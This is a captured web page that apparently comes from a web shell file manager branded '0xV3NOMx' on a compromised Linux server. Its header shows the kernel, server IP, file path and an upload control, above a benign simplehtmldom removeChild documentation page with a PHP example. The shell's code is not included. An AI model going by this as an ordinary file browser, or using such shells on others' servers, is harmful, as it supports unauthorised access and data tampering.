0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.17.77.122


Current Path : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlNode/
Upload File :
Current File : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlNode/removeChild.md

---
title: removeChild
---

```php
removeChild ( object $node )
```

| Parameter | Description
| --------- | -----------
| `node`    | Node to remove from current element, must be a child of the current element.

Removes the node recursively from the DOM.
Does nothing if the provided node is not a child of the current node.

**Example**

```php
$html->load(<<<EOD
<html>
<body>
<table>
	<tr><th>Title</th></tr>
	<tr><td>Row 1</td></tr>
</table>
</body>
</html>
EOD
);

$body = $html->find('body', 0);
$body->removeChild($body->find('table', 0));

echo $html;

/**
 * Returns
 *
 * <html> <body>  </body> </html>
 */
```

**Remarks**

* Whitespace immediately **before** the removed node will remain in the DOM.